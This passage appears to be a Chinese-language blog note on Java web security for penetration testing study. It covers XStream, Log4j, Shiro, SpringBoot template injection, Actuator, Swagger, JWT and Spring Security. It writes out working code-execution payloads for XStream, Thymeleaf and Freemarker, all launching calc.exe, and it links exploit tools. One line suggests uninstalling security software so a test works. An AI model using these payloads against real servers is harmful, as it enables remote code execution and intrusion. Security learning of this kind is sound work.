serialization="custom"这种机制,安全研究员发现:所有能够在 Java 原生反序列化中使用的利用链(例如经典的 CommonsCollections 链,底层全是基于重写readObject),都可以几乎原封不动地被转换成 XML 格式,通过 XStream 打出去。总结
XStream 漏洞之所以危害巨大,正是因为它作为一个文本解析库,却提供了一个可以完美桥接并触发原生二进制反序列化机制的“接口”。你看到的没有区别,是因为在这个特定的 POC 中,XStream 被攻击者当作了触发原生
readObject的“跳板”。
自带类的调用链固定版本的CVE
String payload = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";

修改版本为1.4.15


结论:反序列化时会调用类里的readObject方法(类需继承序列化接口)
利用:已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递XML数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A
10.log4j
一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

当Log4j记录包含 ${...} 语法的字符串时,引擎会解析该表达式并将其替换为对应的值。
String code="${java:os}";
logger.error("{}",code);


如果不行可以试着把安全防护的软件卸载就可以了
演示:2.14.1版本
结论:尝试输出日志时可利用JNDI注入触发RCE
利用:黑盒在各种地方插入 白盒看库版本和反序列化方法和对应可控变量
参考:https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA
11.Shiro
一个强大且易用的安全框架,可用于身份验证、授权、加密和会话管理等。





工具原理
特征探测:工具首先向目标发送带有特殊身份验证字段(如任意的
rememberMe=xxx)的 HTTP 请求包。通过读取服务器返回的 HTTP 响应包头部是否存在Set-Cookie: rememberMe=deleteMe,来判断目标是否使用了 Shiro 框架。密钥 (Key) 爆破:Shiro 漏洞的核心在于 AES 加密密钥硬编码。工具内部预置了常见的密钥字典。它会遍历这些密钥,将一段无害的测试载荷加密后塞入数据包的
rememberMeCookie 中发送。如果返回的数据包中不再包含deleteMe,或者触发了特定的时间延迟/DNSLog 记录,工具据此判定密钥正确。利用链与回显探测:在获取正确密钥后,工具会将不同的 Java 反序列化利用链(如 CB、CC 链)和内存马注入代码加密,再次通过数据包发送。

开发技术:利用AI提示写一个
结论:配置不当(未授权)或版本安全漏洞
利用:固定版本的CVE利用
黑盒看身份验证数据包 白盒看版本及对应安全问题
参考:https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag
12.SpringBoot
类 似于php语言中的thinkphp,不过要更加优秀。
参考:https://springdoc.cn/spring-boot/



路由映射
@RequestMapping @GetMapping@PostMapping
参数传递
@RequestParam
数据响应
@RestController(响应) @Controller(请求)
@RestController相当于@ResponseBody+@Controller







模板注入
Thymeleaf
参考:https://xz.aliyun.com/news/9962
新建项目

2、配置application.properties修改缓存

3、创建模板目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置


@RequestMapping("/index")
public String index(Model model,@RequestParam String lang) {
//替换模板html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模板文件
return "index"+lang;
}
}

利用条件:Thymeleaf漏洞版本,可控渲染模板文件
Poc:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x



Freemarker
参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew
1、新建SpringBoot项目 包含Web,Freemarker

2、配置application.properties修改缓存

3、创建模板目录和文件,文件定义修改变量

4、新建Controller目录及文件,指定路由配置

5、测试POC
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签





Velocity
参考:https://blog.csdn.net/2401_83799022/article/details/141600988


Actuator
基本介绍
SpringBoot Actuator模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP跟踪等,帮助我们监控和管理Spring Boot应用。


引入依赖,当创建项目时未选择 actuator 依赖时,可在配置文件 pom.xml 中自行引入
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
配置监控
# 这个配置项是用于指定要暴露的web端点。*表示暴露所有端点。
management.endpoints.web.exposure.include=*
# 这个配置项用于指定是否显示健康检查的详细信息。always表示总是显示详细信息。
management.endpoint.health.show-details=always
默认情况下


然后就可以通过上面的断点 图访问到actutor,会泄露一些关键信息

系统上的环境变量

改为安全配置


安全配置-application.properties配置文件
关闭某些端点的启用,防止敏感信息泄露
management.endpoint.env.enabled=false
management.endpoint.heapdump.enabled=false

再次尝试访问/actuator/env,/actuator/heapdump就会访问失败

暴露-基于application.yml配置文件
management:
endpoints:
web:
exposure:
include: '*'
安全配置-application.yml配置文件
management:
endpoint:
heapdump:
enabled: false #启用接口关闭
env:
enabled: false #启用接口关闭
Server&Client端界面
Server

@EnableAdminServer


Client

application.properties 配置信息
server.port=8080
spring.boot.admin.client.url=http://127.0.0.1:8088
management.endpoints.web.exposure.include=*
management.endpoints.jmx.exposure.include=*
management.endpoint.health.show-details=always
#spring.boot.admin.client.instance.prefer-ip=true
#spring.boot.admin.client.instance.metadata.user.name=admin
#spring.boot.admin.client.instance.metadata.user.password=admin
#spring.boot.admin.client.instance.service-base-url=http://127.0.0.1:8080
#spring.boot.admin.client.instance
服务端和客户端同时启动项目
效果:服务端等待客户端的加入,加入后从服务端页面就能监控客户端应用

heapdump泄漏

数据库配置信息

运行项目后,访问网页

heapdump文件需要借助工具查看
自动化-JDumpSpider提取器
https://github.com/whwlsfb/JDumpSpider



半手工-heapdump_tool提取器
https://github.com/wyzxxz/heapdump_tool


分析提取出敏感信息(配置帐号密码,接口信息 数据库 短信 云应用等配置)
额外安全-SpringCloud Gateway RCE(CVE-2022-22947)
漏洞文章参考:https://github.com/LandGrey/SpringBootVulExploit
漏洞利用工具:https://github.com/wh1t3zer/SpringBootVul-GUI
手工复现参考:https://www.cnblogs.com/qgg4588/p/18104875
Swagger
Swagger是当下比较流行的实时接口文档生成工具。接口文档是当前前后端分离项目中必不可少的工具,在前后端开发之前,后端要先出接口文档,前端根据接口文档来进行项目的开发,双方开发结束后在进行联调测试。
简单来说就是用来调试接口用的,在WEB页面进行调试。
参考:https://blog.csdn.net/lsqingfeng/article/details/123678701
引入依赖
<--2.9.2版本-->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger2</artifactId>
<version>2.9.2</version>
</dependency>
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-swagger-ui</artifactId>
<version>2.9.2</version>
</dependency>
<--3.0.0版本-->
<dependency>
<groupId>io.springfox</groupId>
<artifactId>springfox-boot-starter</artifactId>
<version>3.0.0</version>
</dependency>
application.properties配置文件
spring.mvc.pathmatch.matching-strategy=ant-path-matcher

application.yml配置文件(有些应用会用这个文件)
spring
mvc:
pathmatch:
matching-strategy: ant_path_matcher
2.X版本启动需要添加@EnableSwagger2

2.X访问路径:http ://ip:port/swagger-ui.html





3.X版本启动需要添加@EnableOpenApi
3.X访问路径:http://ip :port/swagger-ui/index.html

自动化测试工具:Apifox

图示url地址即为Swagger JSON ,将其导入

导入后点击自动化测试,点击加号创建测试场景,导入数据后测试


但是这种自动化测试仅用于研发或 QA 人员验证接口的连通性(如 HTTP 状态码是否为 200)和返回值数据结构。这属于功能测试,如果要测试“非预期输入能否导致系统异常或权限绕过”,可以将工具的网络代理指向本地的 Burp Suite(例如 127.0.0.1:8080),把这款工具当作一个高效的“发包器”。利用它已经构造好的完整 HTTP 请求(包含 Headers、正确的 JSON 结构),发送到 Burp Suite 进行拦截和深度修改。
13.JWT
身份验证的常见技术:
1、JWT(不仅仅局限于java,其他语言也会用)
2、Shiro
3、Spring Security
4、OAuth 2.0(微信登录、微博登录、QQ登录,安全问题较少)
5、SSO(安全问题较少)
6、JAAS(用的比较少)
JWT技术

JWT(JSON Web Token)是由服务端用加密 算法对信息签名来保证其完整性和不可伪造;Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息。
JWT用于身份认证、会话维持等。由三部分组成,header(定义好加密算法)、payload(核心部分,用户输入的口令等关键身份凭证信息)与signature(加密算法里的密钥等信息)。其中每个部分中间都会有个.进行间隔
Header(头部): JWT 的头部通常包含两部分信息:声明类型(typ)和使用的签名算法(alg)。这些信息以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第一个部分。头部用于描述关于该 JWT 的元数据信息。
{
"alg": "HS256",
"typ": "JWT"
}
Payload(负载): JWT 的负载包含有关 JWT 主题(subject)及其它声明的信息。与头部一样,负载也是以 JSON 格式存在,然后进行 Base64 编码,形成 JWT 的第二个部分。
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
Signature(签名): JWT 的签名是由头部、负载以及一个密钥生成的,用于验证 JWT 的真实性和完整性。签名是由指定的签名算法对经过 Base64 编码的头部和负载组合而成的字符串进行签名生成的。
例如,使用 HMAC SHA-256 算法生成签名:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)


引入依赖
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>3.4.0</version>
</dependency>
创建JWT
JWT.create()
//.withHeader(map)
.withClaim("userid",1)
.withClaim("username","wcy")
.withClaim("password",123456)
.sign(Algorithm.HMAC256("wcy"));



这个值可以拿去JWT官网去解密https://jwt.io/

解密JWT
//构建解密注册
JWTVerifier jwt = JWT.require(Algorithm.HMAC256("xiaodisec")).build();
//解密注册数据
DecodedJWT verify = jwt.verify(jwtdata);
//提取解密数据
Integer userid = verify.getClaim("userid").asInt();

登录校验
在未知的算法密钥下,即使修改JWT值里的内容去伪造用户,也无法达到认证成功




把这个值解密


将错误的数据修改为正确的密码去检验会直接报错



添加正确的密钥就会通过

安全问题
参考:https://mp.weixin.qq.com/s/xH_v825bNqDszwmMOe8CBw
14.Security
Spring Security安全框架,是Spring Boot底层安全模块默认的技术选型,可以实现强大的Web安全控制。
WebSecurityConfigurerAdapter:自定义Security策略
AuthenticationManagerBuilder:自定义认证策略
@EnableWebSecurity:开启WebSecurity模式"认证"和"授权"(访问控制)
"认证"(Authentication)
"授权"(Authorization)
这个概念是通用的,而不是只在 Spring Security 中存在。
参考官网:https://spring.io/projects/spring-security
新建Spring Security +web+thymeleaf项目

配置application.properties模版解析

添加前端页面文件到templates目录

创建路由控制器并指向前端页面文件
@Controller
public class RouterController {
@RequestMapping("/index")
public String index() {
return "index";
}
@RequestMapping("/toLogin")
public String toLogin() {
return "views/login";
}
@RequestMapping("/level1/{id}")
public String level1(@PathVariable("id") int id) {
return "views/level1/"+id;
}
@RequestMapping("/level2/{id}")
public String level2(@PathVariable("id") int id) {
return "views/level2/"+id;
}
@RequestMapping("/level3/{id}")
public String level3(@PathVariable("id") int id) {
return "views/level3/"+id;
}
}


创建Security授权文件并开启访问策略


@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.authorizeHttpRequests()
.antMatchers("/").permitAll()
.antMatchers("/level1/**").hasRole("vip1")
.antMatchers("/level2/**").hasRole("vip2")
.antMatchers("/level3/**").hasRole("vip3");
http.formLogin();
}



添加认证用户密码并进行密码加密操作
重写认证

@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
// 启用基于内存的身份验证方式。在渗透测试或实战分析中,此种硬编码配置通常仅出现于开发测试环境或简易靶场中,生产环境通常采用数据库或目录服务进行鉴权。
auth.inMemoryAuthentication()
// 指定密码编码器为 BCrypt。Spring Security 5.x 及以上版本强制要求配置 PasswordEncoder,否则在登录比对时会抛出异常。
.passwordEncoder(new BCryptPasswordEncoder())
// 构建第一个用户,指定用户名为 "admin"
.withUser("admin")
// 设置该用户的登录密码。必须将明文密码 "123456" 使用 BCrypt 加密后存入内存,登录时框架会自动将用户输入的明文与此处的密文哈希进行比对。
.password(new BCryptPasswordEncoder().encode("123456"))
// 赋予 "admin" 用户三个权限角色:vip1, vip2, vip3。这用于与 HTTP 请求拦截配置(如 .hasRole("vip1"))进行权限匹配。
.roles("vip1", "vip2", "vip3")
// .and() 充当连接符,用于结束当前用户的配置并链式开启下一个用户的配置。
.and()
// 构建第二个用户
.withUser("wcy01")
.password(new BCryptPasswordEncoder().encode("123456"))
.roles("vip1")
.and()
.withUser("wcy02")
.password(new BCryptPasswordEncoder().encode("123456"))
.roles("vip2")
.and()
.withUser("wcy03")
.password(new BCryptPasswordEncoder().encode("123456"))
.roles("vip3");
}

登陆后发现界面都能访问,而特定权限的用户只能访问权限所对应的界面

安全问题
https://mp.weixin.qq.com/s/5tj6O4TA04QWyWnsd-EmEA
https://mp.weixin.qq.com/s/M1FiPKJRAWgwaKCtyNW8eQ
版本漏洞导致的安全问题

本身的代码不安全写法导致安全问题
演示:antMatchers 配置认证绕过(代码不安全写法)
| 符号 | 描述 | 能否匹配 /level3/1 | 能否匹配 /level3/1/2 |
无 (/level3) |
精确匹配 | ❌ 否 | ❌ 否 |
* (/level3/*) |
匹配单层目录 | ✅ 是 | ❌ 否 (跨层了) |
** (/level3/**) |
匹配任意层目录 | ✅ 是 | ✅ 是 |

CVE-2022-31692:Spring Security 授权绕过漏洞总结
CVE-2022-31692 是一个典型且高危的权限绕过漏洞。它的核心在于 Spring Security 在特定配置下,未能正确处理服务器内部的请求转发(FORWARD)或包含(INCLUDE),导致鉴权机制失效。
核心条件:
-
版本受限:使用了受影响的 Spring Security 版本(如 5.6.0 - 5.6.8,5.7.0 - 5.7.4)。
-
配置方法:在
SecurityConfig中使用了较新的authorizeHttpRequests()方法进行权限配置(而不是旧版的authorizeRequests())。 -
路由机制:应用程序内部存在将低权限(或公开)接口通过
FORWARD或INCLUDE转发到高权限接口的业务逻辑,且过滤器链被配置为拦截这些内部调度。

本身没有权限的用户成功访问到

15.打包
jar
maven-clean-package



java -jar xxxxxx.jar


War

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}
maven-clean-package
war放置tomcat后启动








安全:JAVAEE源码架构
无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)



不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)
更多推荐



所有评论(0)